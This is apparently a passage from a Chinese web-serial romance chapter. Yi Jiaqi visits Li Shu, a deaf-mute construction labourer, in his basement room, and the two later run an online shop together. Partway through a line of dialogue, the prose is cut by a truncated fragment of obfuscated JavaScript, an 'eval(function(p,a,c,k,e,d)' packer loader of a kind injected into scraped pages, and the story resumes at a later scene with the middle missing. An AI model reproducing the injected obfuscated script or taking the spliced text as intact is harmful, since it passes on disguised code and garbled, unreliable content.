易佳期心说:“哪种想,想骂你,算不算想?” “那你给我说说,你怎么想我的?”易佳期把话踢回去。 季昀还真思考了一会,“哎呀,就是特别想你,吃饭吃到好吃的菜,会想如果能和你一起吃就好了。散步时看到晚霞,会想如果是和你一起就好了。遇到不会做的题,会想如果是你肯定一下就解出来了。反正,就是干什么都会想到你。” 如果是这样的话,易佳期的脑海里忽然冒出一个呆傻的脸。 这样的人,这样能时常想起的人,她也有一个。 只是她的版本,和季昀,有那么略微一点不同。 她会从晨起第一件事就想到他,穿衣服的时候,会想如果他把今天要穿的衣服准备好就好了。洗漱的时候,会想如果他提前把洗脸水打好就好了。吃饭的时候,会想食堂如果能像他一样,完全按照她的口味做就好了。洗袜子的时候,会想如果他在估计顺手就洗了,根本不会攒到这么多。 听人被吐槽文盲的时候,会想,你这算什么,我认识一人,那才叫…. 易佳期即时打住。 36. 绿火车 她实在不认可这就叫想念,也不觉得她能对李树这种人生出如此禁忌的情感。她最多,就是有点需要他罢了。 需要有个人随时随地,供她使唤和支配,什么人都可以,只是李树做得最好而已。 平心而论,长这么大,她就没见过比那哑巴更会伺候人的。这家伙,就跟可着她的心眼长的一样。 也就是这时,易佳期忽而感应到心底幽灵般钻出来的念头,她想:“那小哑巴现在在干嘛呢?” 随便敷衍了季昀几句,她很快挂断了电话。 宿舍里只廖及新在,听见她从外头进来,廖及新把头从床帘里伸出来,“打完电话啦?收拾收拾北华涮肉走不走?等会这俩回来了再问问她们去不去。” 易佳期摇了摇头,径直走到她的柜子边,扯出来一个背包开始收拾衣服,“我有点事,你们去玩吧。” 她把今晚打算洗的脏衣服一股脑塞进去,又拿塑料袋装了一身干净的换洗衣物。 廖及新紧接着探出半个身子:“这个点了,你要出去住?” 易佳期点头,拉上拉链把包甩到肩上,“不用给我留门了,我回家一趟。” 她找出李树当初发她的地址,那时她只是随便扫了一眼,现下找起来才发现,李树住的地方竟然离她学校很近,就在南门外面。 李树住的地方是一个地下室。她按着短讯里写的门牌找过去,抬起手刚想敲门,想起来这聋子又听不见,索性把包往那破门上突出来的钉子上一挂,从兜里摸出个回形针。 只是她没想到里面有人在,这边回形针刚插上,门锁便啪嗒一声响,破门吱呀呀漏出一条小缝,这动静,肯定不是她撬开的。她二话不说,一把将手插进门缝里,把门扳开。 门板荡开之后,触目而及的是李树充满戒备的脸,和他手里的亮堂堂的菜刀。 还好,李树的眼睛不是个瞎的,只一下,待她一亮相,那股戒备便被瞬间的惊喜取代。 易佳期要过来他手里的刀,掂量了下,一阵牙酸道:“挺狠啊,我刚才要真是个闯空门的,这会是不是就凶多吉少了。” 李树羞涩一笑,两手搓了搓:「吓唬人,不动手。」 易佳期呵呵了一声,直冲冲往里进,房间很小,她走两三步就到头了。她东看西看,也没看见个能下脚的地方,屋头里唯一的一把凳子,上面的漆都掉的差不多了,更是因为不知道经历了几户租客,上面包裹着黑污的油润色泽。 李树没管她,拎起个杆子,走到那说是明窗,其实就是条缝的窗户旁,就去收衣服去了。 易佳期满眼嫌弃地转了一圈,别说坐了,她连手上的背包,都不知道往哪搁。 但还好地面很干净,房间看得出被里外打扫过,只是硬件实在跟不上。她看了又看,最后还是抱着胳膊选择了站着。 没想到,她刚站定,李树便从不远处,将那把她刚才看不上眼的凳子推过来,只不过,这下他在凳子上结实地套上了两层干净的白t。 看样式,就是他刚才从窗户那儿收的那两件。 「坐吧。」他一边比划,一边把她手上的背包也取过来,背到肩上,「包我拿着。」 易佳期这才屈尊降贵地坐下。 抬眼,又看见李树巴巴地望着她,也不说话,她皱眉道:“看什么,有话就说,别跟狗讨食似的。” 李树这才有些不好意思地开口:「你今天怎么来了。」 易佳期冷笑一声,“你说呢,呵呵,看你跑了没。” 「不跑,」李树嘴角弯弯,他这次手语打得很慢,「你在哪我在哪。」 就算刚才易佳期是奔着找事来的,也不得不承认,这话还是挺中听的。她神情缓和了几分,扫了扫破败得一览无余的房间,还有李树,李树比之前更瘦了,整个人脸上冒着红扑扑的疲惫。 她想了想,还是问道:“怎么样,北京好不好?” 她其实更想问,你呢,这段时间过得咋样,但又觉得关心李树是件很反人类的事。 李树眼睛瞬间亮了,「好啊,这么多楼房,高高的,工地也多。」 他说他之前在市里,从早上做工做到11点,计件最多能赚到120,现在在工地,他每天能结150呢! 易佳期发现,每次说到工作,李树的状态总会明显开怀很多,这种兴高采烈的劲儿,跟当时领她工资的时候,差别太多了。察觉到这点,她刚好起来的心情,又被一盆冷水浇透了。 李树说着说着,猛得想起什么似的,快步走到他的床边,从枕套里面掏出个信封,他笑吟吟地抱着那信封递给她,「你们学校,进门,我不会弄,也不敢带钱在路上。」 「你在学校,好好吃饭,我赚钱了。」 易佳期接过来,掂了掂,竟然挺有厚度,怪不得这家伙刚才要拿刀呢,合着这屋里,还真有东西可偷啊! 她有一搭没一搭和他聊:“你在工地干?人家能要你?” 李树有点不好意思,「我现在就是给师傅打下手,搬点东西,有力气就好。」 很快他又说:「师傅说,只要我踏实肯干,到时候教我点他的手艺,就不用干小工。」 「学成了,未来一天就能结200多了。」比划这句话时,李树脸上带着满满的憧憬。 易佳期移开视线,虽然她觉得这种未来,实在没什么值得憧憬的,但她还是什么都没说。 同时,她的心底,很难不因为李树这样浅薄的幸福,而咬牙切齿。 这段时间,她把心结全部放在季昀那里,这时她才忽然惊觉,她对李树的憎恨,泡在更隐秘的毒液里。 李树是她身上的一道慢性病。 因为他,她需要用百倍千倍的荣耀来告慰、弥补自己。她停不下来,那想要站在顶端的虚荣心,即使已经迈入最高学府,她的心还是像暴食之人般贪婪。 而他竟然敢为如此贫穷的未来欢欣鼓舞。 李树啊,李树,她怨毒地想,你的幸福凭什么这么便宜。 李树没有注意到她片刻的异常,反过来关心她:「你在大学里好不好?」这个问题他很早就想问了。 易佳期翘着腿:“还不错,舍友素质都挺高,还有不少老师都是之前在网上才能看到的名人。” 李树静静地看着她侃侃而谈,那是他从未到过的世界。 “不过,我的心不在校园里。我之前和你说过,以后,我要创业的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第二天她走的时候,李树已经把她洗干净的袜子和单薄的小衣服装好,剩下那些,他许诺等晾干了给她送到南门。 后来还是她一双一双穿了那些袜子,才发现,她从李树那儿带回来的袜子,每双在脚后跟那里都缝上了一块软布。她这才想起,那晚李树给她打水洗脚的时候,看到她脚后跟磨红了一道,她正好提了一嘴新鞋有点磨脚。 所以,这些防磨的软布,是那个晚上,李树一双一双缝上去的。 弄明白之后,她对着那些袜子哑然失笑。她毫不怀疑,李树这厮要是放到古代,心但凡坏一点,都得是个阉佞起步。好家伙,心比汗毛还细,再刁钻的人,也能让他伺候地服服帖帖。 从那天起,易佳期便有事没事打包一袋脏衣服丢给李树,后来她的工作室布置好,李树搬进去,她更是有空便回去住住,对此,季昀没少找她抗议。 日子就这么细水长流地往前走,一学期很快便接近尾声,期间,易佳期的网店顺利地开了起来。 她先从一件代发上手,每天花费大量的时间集中选品,然后联系厂家给她发样品,她学着头部的几家店,摸索着自己找模特拍图。虽然货是市场货,但她选的款又新又独特,很短的时间内她的店铺便小爆了几个品,名气一下就起来了。 甚至还有不少人推荐店铺的时候,将她的店铺归类到原创店的清单里。 单量太大,李树又要去工地搬砖,又要当客服回消息,他一个人很快就有点吃力了。易佳期把季昀也拉进来,又在网上招了个全职客服。 一切都井然有序地步入正轨。 如果不是易佳期忽然起了出轨的念头的话。